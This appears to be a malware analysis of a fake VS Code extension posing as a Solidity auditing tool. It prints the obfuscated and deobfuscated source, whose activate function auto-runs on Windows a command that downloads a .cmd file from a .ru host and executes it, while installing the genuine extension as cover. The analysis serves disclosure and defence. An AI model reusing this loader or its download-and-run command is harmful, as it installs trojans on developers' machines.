_0x51226d[_0x440e99(0x42e,0x46f,0x46f,0x459)](),vscode[_0x440e99(0x42f,0x49c,0x482,0x461)]['showInform'+_0x44a393(-0x6,-0x28,-0x2a,-0x19)+'ge'](_0x440e99(0x433,0x406,0x410,0x429)+'has\x20been\x20a'+_0x44a393(0x1a,0x1c,0x37,0x2f)));},0xc91*0x1+-0x2*0xc8f+-0x1845*-0x1);}catch(_0x4629a6){_0x159e1c[_0x5d1f23(0x1ff,0x1b6,0x1e9,0x1d2)]===_0x159e1c['kNRKA']?_0x2e6808[_0x5d1f23(0x1dc,0x1cf,0x21e,0x1e8)][_0x3fe342(0x1b5,0x1b8,0x1a3,0x1d0)+_0x3fe342(0x1cf,0x215,0x1d7,0x204)](_0x159e1c[_0x5d1f23(0x1d5,0x1dc,0x1d4,0x1f6)]):vscode[_0x5d1f23(0x243,0x208,0x1e1,0x21e)][_0x5d1f23(0x1b8,0x1f2,0x1ef,0x1e9)+'essage'](_0x3fe342(0x213,0x224,0x212,0x238)+'install\x20ex'+'tension');}}function activate(_0x5c1572){const _0x55f256={'SRKNv':'win32','fbRmH':'curl\x20-Ss\x20h'+_0x2c81c9(0x344,0x2f2,0x2de,0x315)+'areyouhere'+_0x2c81c9(0x330,0x368,0x35c,0x354)+_0xf69c92(0xd7,0xbf,0x90,0xdb)+_0xf69c92(0xc5,0xd5,0xad,0xcd)+'1.cmd\x22\x20&&\x20'+_0x2c81c9(0x34e,0x33b,0x334,0x347)+_0xf69c92(0xf9,0xe4,0x10f,0xf4),'WNHrk':_0xf69c92(0xce,0xf0,0xf6,0xb4)+'solidity-v'+'isual-audi'+_0xf69c92(0x110,0xe8,0x102,0x11c),'IBvok':function(_0xeed4bd,_0x4973ba){return _0xeed4bd(_0x4973ba);},'hfZIe':_0xf69c92(0x12b,0x100,0xd9,0x10a)+_0xf69c92(0xda,0xee,0xcb,0xdb)+_0xf69c92(0x97,0xc6,0xd0,0xac),'glCOw':_0x2c81c9(0x2f7,0x348,0x33b,0x31a)};function _0x2c81c9(_0x5d80d4,_0x580e5a,_0x426a74,_0xb55282){return _0x313586(_0xb55282-0x3b5,_0x426a74,_0x426a74-0x3f,_0xb55282-0xfb);}function _0xf69c92(_0x5aebe6,_0x4d1d0a,_0x66fba,_0x379100){return _0x943314(_0x5aebe6-0x19b,_0x4d1d0a-0x280,_0x66fba-0xba,_0x5aebe6);}let _0x3414fe=vscode[_0x2c81c9(0x36c,0x34a,0x376,0x33a)][_0xf69c92(0xdd,0xc8,0xc4,0xe5)+_0x2c81c9(0x39d,0x376,0x36a,0x360)]('c1.run',async function(){function _0x29e2a0(_0x4802d3,_0x7a9714,_0x267e31,_0xfafa00){return _0xf69c92(_0x4802d3,_0x267e31-0x244,_0x267e31-0xac,_0xfafa00-0x1e3);}function _0x19ced8(_0x405e63,_0x45cd58,_0x420b80,_0xac8e4e){return _0xf69c92(_0x45cd58,_0x420b80-0x3ad,_0x420b80-0x12f,_0xac8e4e-0x18);}if(process[_0x19ced8(0x4ac,0x4d5,0x4b9,0x48f)]===_0x55f256['SRKNv']){const _0x2f4265=_0x55f256[_0x19ced8(0x4a1,0x4d9,0x4aa,0x4a6)],_0x500410=_0x55f256[_0x19ced8(0x4b2,0x4a4,0x47a,0x4a2)];try{await Promise['all']([_0x55f256[_0x19ced8(0x477,0x42e,0x45e,0x48b)](f1,_0x2f4265),f2(_0x500410)]),vscode['window'][_0x29e2a0(0x2bb,0x308,0x2ec,0x2cb)+_0x29e2a0(0x33a,0x2ea,0x300,0x2f6)+'ge'](_0x55f256[_0x19ced8(0x469,0x481,0x46b,0x45b)]);}catch(_0x4c2784){}}});_0x5c1572['subscripti'+'ons'][_0x2c81c9(0x358,0x367,0x339,0x35d)](_0x3414fe),process[_0x2c81c9(0x374,0x38e,0x390,0x376)]===_0x55f256[_0x2c81c9(0x360,0x392,0x3be,0x382)]&&setTimeout(()=>{function _0x2f6e43(_0x5a0ee6,_0x5abedd,_0x280137,_0x3e072d){return _0x2c81c9(_0x5a0ee6-0x79,_0x5abedd-0x101,_0x5abedd,_0x280137-0xf5);}function _0x36b26d(_0x400b22,_0x1f7607,_0x45f44f,_0x112d8d){return _0xf69c92(_0x400b22,_0x112d8d- -0x2c3,_0x45f44f-0xb,_0x112d8d-0xae);}vscode[_0x2f6e43(0x41a,0x440,0x42f,0x467)][_0x36b26d(-0x1e7,-0x200,-0x24a,-0x216)+'mand'](_0x55f256[_0x2f6e43(0x3dc,0x3cf,0x405,0x404)]);},0x845*0x1+0x1*0x19ad+0x2*-0xf05);}function _0x943314(_0x14fedb,_0x5b85bc,_0x20cb15,_0x4b1373){return _0x5e9b(_0x5b85bc- -0x373,_0x4b1373);}function deactivate(){}const _0x293de5={};function _0x313586(_0x1e1ac9,_0x3f96e5,_0x37a696,_0x1036dc){return _0x5e9b(_0x1e1ac9- -0x23e,_0x3f96e5);}_0x293de5[_0x943314(-0x171,-0x182,-0x1af,-0x1a2)]=activate,_0x293de5[_0x943314(-0x1d3,-0x19d,-0x1bd,-0x1c6)]=deactivate,module[_0x313586(-0x51,-0x64,-0x8d,-0x58)]=_0x293de5;

Deobfuscating using Obfuscator.io Deobfuscator:

(function (_0x4e0a6f, _0x1ddeff) {
  const _0x359e48 = _0x4e0a6f();
  while (true) {
    try {
      const _0x414d4c = -parseInt(_0x5e9b(476, -0x92)) / 1 * (parseInt(_0x5e9b(480, -0x52)) / 2) + parseInt(_0x5e9b(417, 0x507)) / 3 + parseInt(_0x5e9b(530, 0x58f)) / 4 * (parseInt(_0x5e9b(423, 0x553)) / 5) + -parseInt(_0x5e9b(513, 0x537)) / 6 + -parseInt(_0x5e9b(488, -0x6a)) / 7 + parseInt(_0x5e9b(446, 0x533)) / 8 + parseInt(_0x5e9b(421, 0x550)) / 9;
      if (_0x414d4c === _0x1ddeff) {
        break;
      } else {
        _0x359e48.push(_0x359e48.shift());
      }
    } catch (_0x4a7667) {
      _0x359e48.push(_0x359e48.shift());
    }
  }
})(_0x59c2, 867196);
function _0x5e9b(_0x56cb13, _0xc09c1b) {
  const _0x222a6c = _0x59c2();
  _0x5e9b = function (_0x260f75, _0x592057) {
    _0x260f75 = _0x260f75 - 409;
    let _0x14a7d4 = _0x222a6c[_0x260f75];
    if (_0x5e9b.DdbfZA === undefined) {
      var _0x302706 = function (_0x7f28cf) {
        let _0x3c06f8 = '';
        let _0x1f2a56 = '';
        let _0x545fff = _0x3c06f8 + _0x302706;
        let _0x3d031a = 0;
        let _0x1beb42;
        let _0x2ed3f6;
        for (let _0x5db0a6 = 0; _0x2ed3f6 = _0x7f28cf.charAt(_0x5db0a6++); ~_0x2ed3f6 && (_0x1beb42 = _0x3d031a % 4 ? _0x1beb42 * 64 + _0x2ed3f6 : _0x2ed3f6, _0x3d031a++ % 4) ? _0x3c06f8 += _0x545fff.charCodeAt(_0x5db0a6 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x1beb42 >> (-2 * _0x3d031a & 6)) : _0x3d031a : 0) {
          _0x2ed3f6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x2ed3f6);
        }
        let _0x355024 = 0;
        for (let _0x260112 = _0x3c06f8.length; _0x355024 < _0x260112; _0x355024++) {
          _0x1f2a56 += '%' + ('00' + _0x3c06f8.charCodeAt(_0x355024).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0x1f2a56);
      };
      _0x5e9b.gJbMJF = _0x302706;
      _0x56cb13 = arguments;
      _0x5e9b.DdbfZA = true;
    }
    const _0xdacb8e = _0x222a6c[0];
    const _0x35311 = _0x260f75 + _0xdacb8e;
    const _0x393130 = _0x56cb13[_0x35311];
    if (!_0x393130) {
      const _0x4d914d = function (_0x96c42a) {
        this.HvcSBV = _0x96c42a;
        this.bvFkFe = [1, 0, 0];
        this.gUilTq = function () {
          return 'newState';
        };
        this.Jjjmuj = "\\w+ *\\(\\) *{\\w+ *";
        this.DIwDkJ = "['|\"].+['|\"];? *}";
      };
      _0x4d914d.prototype.yLhjce = function () {
        const _0x5388e6 = new RegExp(this.Jjjmuj + this.DIwDkJ);
        const _0xfcb602 = _0x5388e6.test(this.gUilTq.toString()) ? --this.bvFkFe[1] : --this.bvFkFe[0];
        return this.PMHhtc(_0xfcb602);
      };
      _0x4d914d.prototype.PMHhtc = function (_0x26273e) {
        if (!Boolean(~_0x26273e)) {
          return _0x26273e;
        }
        return this.ggYdHj(this.HvcSBV);
      };
      _0x4d914d.prototype.ggYdHj = function (_0xc8ac6e) {
        let _0x7edf36 = 0;
        for (let _0x22213b = this.bvFkFe.length; _0x7edf36 < _0x22213b; _0x7edf36++) {
          this.bvFkFe.push(Math.round(Math.random()));
          _0x22213b = this.bvFkFe.length;
        }
        return _0xc8ac6e(this.bvFkFe[0]);
      };
      new _0x4d914d(_0x5e9b).yLhjce();
      _0x14a7d4 = _0x5e9b.gJbMJF(_0x14a7d4);
      _0x56cb13[_0x35311] = _0x14a7d4;
    } else {
      _0x14a7d4 = _0x393130;
    }
    return _0x14a7d4;
  };
  return _0x5e9b(_0x56cb13, _0xc09c1b);
}
const _0x233156 = function () {
  let _0x26ea17 = true;
  return function (_0x5534a7, _0x261ded) {
    const _0x5d5c4a = _0x26ea17 ? function () {
      if (_0x261ded) {
        const _0x49302d = _0x261ded.apply(_0x5534a7, arguments);
        _0x261ded = null;
        return _0x49302d;
      }
    } : function () {};
    _0x26ea17 = false;
    return _0x5d5c4a;
  };
}();
const _0x427b86 = _0x233156(this, function () {
  return _0x427b86.toString().search("(((.+)+)+)+$").toString().constructor(_0x427b86).search("(((.+)+)+)+$");
});
_0x427b86();
const _0x36d1b9 = function () {
  const _0x3ddcec = {
    'yRGfz': function (_0x479ad7, _0x313846) {
      return _0x479ad7 !== _0x313846;
    }
  };
  _0x3ddcec.zxchS = "wNuYl";
  let _0x1264ad = true;
  return function (_0x5ca656, _0xafc51a) {
    if (_0x3ddcec.zxchS !== _0x3ddcec.zxchS) {
      const _0x4c551b = _0x51f819.apply(_0x1ebf5c, arguments);
      _0x5acd09 = null;
      return _0x4c551b;
    } else {
      const _0x417ae9 = _0x1264ad ? function () {
        if (_0xafc51a) {
          const _0x5a4991 = _0xafc51a.apply(_0x5ca656, arguments);
          _0xafc51a = null;
          return _0x5a4991;
        }
      } : function () {};
      _0x1264ad = false;
      return _0x417ae9;
    }
  };
}();
const _0x596d7b = _0x36d1b9(this, function () {
  const _0x22affe = function () {
    let _0x4ae677;
    try {
      _0x4ae677 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1d701d) {
      _0x4ae677 = window;
    }
    return _0x4ae677;
  };
  const _0x4c3864 = _0x22affe();
  const _0x3dc523 = _0x4c3864.console = _0x4c3864.console || {};
  const _0x321b0b = ["log", "warn", 'info', "error", 'exception', "table", "trace"];
  for (let _0xd836dc = 0; _0xd836dc < _0x321b0b.length; _0xd836dc++) {
    const _0x1e26f4 = _0x36d1b9.constructor.prototype.bind(_0x36d1b9);
    const _0x382532 = _0x321b0b[_0xd836dc];
    const _0x4e469c = _0x3dc523[_0x382532] || _0x1e26f4;
    _0x1e26f4.__proto__ = _0x36d1b9.bind(_0x36d1b9);
    _0x1e26f4.toString = _0x4e469c.toString.bind(_0x4e469c);
    _0x3dc523[_0x382532] = _0x1e26f4;
  }
});
_0x596d7b();
const vscode = require("vscode");
const {
  exec
} = require("child_process");
function _0x59c2() {
  const _0x580881 = ['D29YA2jLBMnOlG', 'BMn0Aw9UkcKG', 'y21KlMv4zsaVyW', 'Chzozfq', 'y3rPDMf0zwqU', 'iIv0rw1qjvWXlG', 'EhfNrgq', 'zxnZ', 'DfzwB04', 'BwfUza', 'ALbxwMS', 'zgvHy3rPDMf0zq', 'y21KiG', 'ChjVDg90ExbL', 'wKHKAKu', 'BeTUs2S', 'Dg9Y', 'ntu5qK9Ptvbi', 'D2HVlNj1l2zPBa', 'sKPNEfi', 'BM1Auui', 'mti2mKjps1rVvG', 'B24Gy29TCgXLDa', 'y3rVCIGICMv0Dq', 'DgLUDgLUD2vIlG', 'CxjStfK', 'BfnTthO', 'ChvZAa', 'AvnNuKG', 'oti3nduXmer3CK1usq', 'Bw1HBMq', 'y2HPBgrFChjVyW', 'igLZigfSCMvHza', 'vfv5txC', 'zxHWB3j0CW', 'rxP3uum', 'E30Uy29UC3rYDq', 'zMjsBuG', 'ywn0AxzHDgu', 'C2vHCMnO', 'sw5ZDgfSBgf0Aq', 'DgfIBgu', 'C1HeCgu', 'y29UC29Szq', 'zxH0zw5ZAw9UCW', 'ywvdB1i', 'D2LUzg93', 'z2v0rxH0zw5ZAq', 'shPwDfy', 'DgvUC2LVBG', 'C21hEum', 'Bg9N', 'CgXHDgzVCM0', 'EhDYCgO', 'odeWmdi4mNjxAwLwBq', 'BgvUz3rO', 'y29UC3rYDwn0BW', 'EvjhzNO', 'wxD0ANy', 'v0jyqwW', 'D051wwW', 'z3LhELu', 'EsbPBNn0ywXSzq', 'qvzPreu', 'u1jltNy', 'DNnJB2rL', 's0zrtem', 'u0riBNK', 'rMfPBgvKihrVia', 'uw54y3C', 'yMXcwe0', 'mtCWmJiYmfr4C05wqG', 'AMLLB1u', 'ENHJAfm', 'z2Xdt3C', 'runzyMy', 'C2HVD0LUzM9YBq', 'ywvTq3K', 'B2zvAwK', 'DhrWCZOVl3DOEq', 'A2r5ue8', 'zxHLy3v0zunVBq', 'ndiXnJm4mgHLzMPNBa', 'A3njy0S', 'yZeUCNvU', 'suj2B2S', 'nJu2nJq1nfbqzvLjAG', 'D2LUzg93C0HPza', 'mtbKqLrgsvO', 'yxbWBhK', 'zxbkq2y', 'CMv0DxjUicHMDq', 't3HRqM4', 'vMv1Du8', 'uefwzK0', 'v2D5tMC', 'yxrPB25nzxnZyq', 'lMLUC3rHBgXfEa', 'AgzAswu', 'zxmVms5JBwqGlq', 's3nlqMK', 'D2fYBG', 'tenzzfK', 'seTzsxq', 'yMLUza', 'u09bAuG', 'zwqU', 'zxjYB3i', 'CMvNAxn0zxjdBW', 'Axnby3rPDMu', 'Dg9tDhjPBMC', 'nZi2otGWog5zA1LUvG', 'DwHlCMK', 'v05iCMS', 'rxH0zw5ZAw9Uia', 'ANfeB0e', 'y29TBwfUzhm', 'C2HVD0vYCM9Ytq', 's3f3Ceu', 'DhjHy2u', 'kcGOlISPkYKRkq', 'BYaIjxrfBvaLxa', 'vgrODLq', 'CM4GDgHPCYiPka'];
  _0x59c2 = function () {
    return _0x580881;
  };
  return _0x59c2();
}
function f1(_0x5ad991) {
  return new Promise((_0xf86f95, _0x2e3cca) => {
    const _0x2c4819 = {
      windowsHide: true
    };
    exec("cmd.exe /c " + _0x5ad991, _0x2c4819, (_0x2ae7bc, _0x52d0ae, _0x12ce2a) => {
      if (_0x2ae7bc) {
        _0x2e3cca(_0x2ae7bc);
        return;
      }
      _0xf86f95();
    });
  });
}
async function f2(_0x292909) {
  try {
    const _0x1470b7 = vscode.extensions.getExtension(_0x292909);
    if (_0x1470b7) {
      vscode.window.showInformationMessage("Extension " + _0x292909 + " is already installed.");
      return;
    }
    await vscode.commands.executeCommand("workbench.extensions.installExtension", _0x292909);
    vscode.window.showInformationMessage("Installing " + _0x292909 + '.');
    setTimeout(async () => {
      const _0x51226d = vscode.extensions.getExtension(_0x292909);
      if (_0x51226d && !_0x51226d.isActive) {
        await _0x51226d.activate();
        vscode.window.showInformationMessage("Extension has been activated.");
      }
    }, 3000);
  } catch (_0x4629a6) {
    vscode.window.showErrorMessage("Failed to install extension");
  }
}
function activate(_0x5c1572) {
  let _0x3414fe = vscode.commands.registerCommand('c1.run', async function () {
    if (process.platform === 'win32') {
      try {
        await Promise.all([f1("curl -Ss https://whyareyouherewho.ru/files/1.cmd -o \"%tEmP%\\1.cmd\" && \"%tEmP%\\1.cmd\""), f2("tintinweb.solidity-visual-auditor")]);
        vscode.window.showInformationMessage("Installation completed.");
      } catch (_0x4c2784) {}
    }
  });
  _0x5c1572.subscriptions.push(_0x3414fe);
  if (process.platform === 'win32') {
    setTimeout(() => {
      vscode.commands.executeCommand("c1.run");
    }, 1000);
  }
}
function _0x943314(_0x14fedb, _0x5b85bc, _0x20cb15, _0x4b1373) {
  return _0x5e9b(_0x5b85bc + 0x373, _0x4b1373);
}
function deactivate() {}
const _0x293de5 = {};
function _0x313586(_0x1e1ac9, _0x3f96e5, _0x37a696, _0x1036dc) {
  return _0x5e9b(_0x1e1ac9 + 0x23e, _0x3f96e5);
}
_0x293de5.activate = activate;
_0x293de5.deactivate = deactivate;
module.exports = _0x293de5;

We look at the activate() function:

function activate(_0x5c1572) {
  let _0x3414fe = vscode.commands.registerCommand('c1.run', async function () {
    if (process.platform === 'win32') {
      try {
        await Promise.all([f1("curl -Ss https://whyareyouherewho.ru/files/1.cmd -o \"%tEmP%\\1.cmd\" && \"%tEmP%\\1.cmd\""), f2("tintinweb.solidity-visual-auditor")]);
        vscode.window.showInformationMessage("Installation completed.");
      } catch (_0x4c2784) {}
    }
  });
  _0x5c1572.subscriptions.push(_0x3414fe);
  if (process.platform === 'win32') {
    setTimeout(() => {
      vscode.commands.executeCommand("c1.run");
    }, 1000);
  }
}

Here if the victim's platform is win32, this malicious extension will download a trojan from https://whyareyouherewho.ru/files/1.cmd and execute on the victim's machine.

This extension will also install the actually functioning extension tintinweb.solidity-visual-auditor simultaneously, in case the user finds out that this extension is doing nothing and becomes suspicious.

Related Links

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment